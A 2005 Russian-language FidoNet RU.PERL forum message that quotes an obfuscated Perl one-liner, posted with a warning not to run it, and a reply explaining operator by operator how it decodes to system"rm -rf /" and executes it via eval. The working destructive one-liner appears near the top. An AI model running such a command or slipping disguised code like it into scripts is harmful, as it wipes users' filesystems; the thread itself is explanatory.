Как это работает
- From
- Alex Krivospitsky (2:5023/52)
- To
- Vladimir Romanov (2:5054/37.63)
- Date
- 2005-04-25T20:34:44Z
- Area
- RU.PERL
Как поживаешь, Владимир???
Как-то днем 23 Апр 05 Владимир писал всем:
VR> Народ, помогите, пятый час бьюсь, не могу понять как работает этот
VR> скрипт, всю башку сломал (КРАЙНЕ НЕ РЕКОМЕНДУЮ ЭТО ЗАПУСКАТЬ, Я
VR> ПРЕДУПРЕДИЛ!!!). Напишите какой оператор выполняется первым, вторым
VR> итп. И вообще, ГДЕ ТУТ ОПЕРАТОРЫ :).
VR> cat "test... test... test..." | perl -e
VR> '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;-/:-@[-`{-};`-{/" -;;s;;$_;see'
VR> Все в оригинале в одну строку.
= RU.PERL (2:5023/52) =========================================================
Msg : 7190 of 9142 K/s
From : Andrey Sapozhnikov 2:5020/400 03 Окт 03 00:53:20
To : Sergey Gernichenko
Subj : расшифруйте
===============================================================================
From: Andrey Sapozhnikov <sapa@icb.chel.su>
Sergey Gernichenko wrote:
> А как же всё-таки это работает?
$?
Переменная такая. На начало исполнения навна 0.
?
Оператор такой (condition ? expr1 : expr2).
s:;s:s;;$?:
Это оператор поиска-замены (s///), разделитель ':'
Не выполняется.
:
s;;=]=>%-{<-|}<&|`{;
это тоже оператор поиска-замены. разделитель ';'.
Выполняется. После выполнения $_ становится
равным "=]=>%-{<-|}<&|`{" (без кавычек, конечно).
;
Точка с запятой. Ей операторы разделяются.
y; -/:-@[-`{-};`-{/" -;
Оператор транслитерации (tr/// он же y///)
разделитель ';'. А минусик задает диапазоны
(пробел-слэш и т.д.). В результате та труха
что содержится в $_ превращается в system"rm -rf /"
;
Это мы уже выучили.
s;;$_;see
А это опять оператор поиска-замены. С двумя ключиками
e он (в данном случае) работает как eval($_), выполняя
system"rm -rf /".
А что сложного или непонятного-то? Использованы самые
тривиальные базовые конструкции языка.
--
Андрей
-+- ifmail v.2.15dev5
+ Origin: Demos online service (2:5020/400)
Счастливо.
*Шурик*.
--- =[ TEAM _ITD_ ]=[ TEAM _Beer_ ]=[ TEAM _ВыСПаТьСя Бы_ ]=[ TEAM _JT_ ]=
* Origin: +79206180201 alex_itd@mail.ru ICQ:131349892 (2:5023/52)
SEEN-BY: 450/208 452/25 100 454/9 455/15 461/33 74 106 640 464/34 465/204
SEEN-BY: 467/24 469/125 200 478/44 65 550/150 5068 4600/126 4614/9 4623/56
SEEN-BY: 4625/9 4626/100 4632/10 4635/99 1024 4641/444 4642/27 48 4657/50
SEEN-BY: 5001/50 5002/76 5002 5003/34 5010/53 146 5011/13 5015/4 28 214 5019/5
SEEN-BY: 5020/52 115 128 133 150 175 486 600 642 744 794 921 958 968 982 1100
SEEN-BY: 5020/1169 1212 1234 1626 1642 1653 1826 1829 1930 2044 2200 2345 2908
SEEN-BY: 5020/4400 4441 5021/2 5023/11 17 20 23 31 34 37 39 47 52 5024/1 73
SEEN-BY: 5025/19 5030/69 195 382 436 611 920 1016 1039 1520 1688 5031/7
SEEN-BY: 5032/11 20 5033/21 35 5034/8 5035/38 63 5036/13 5037/21 36 5038/4
SEEN-BY: 5040/33 47 5041/4 5045/7 42 5047/47 5049/6 157 5050/9 41 5051/35
SEEN-BY: 5053/16 38 5054/1 8 9 35 36 37 45 50 66 67 81 85 5055/177 5056/16
SEEN-BY: 5058/77 5059/2 9 20 5060/90 5062/4 7 5063/41 51 5064/7 35 5070/26 66
SEEN-BY: 5070/948 5071/22 5075/37 5077/70 5079/49 5083/13 5090/23 105 5093/4
SEEN-BY: 5093/27 33 5096/18 5100/113 6023/1 6033/2727 6070/5 6096/10
PATH: 5023/52 37 11 5020/52 5054/1 37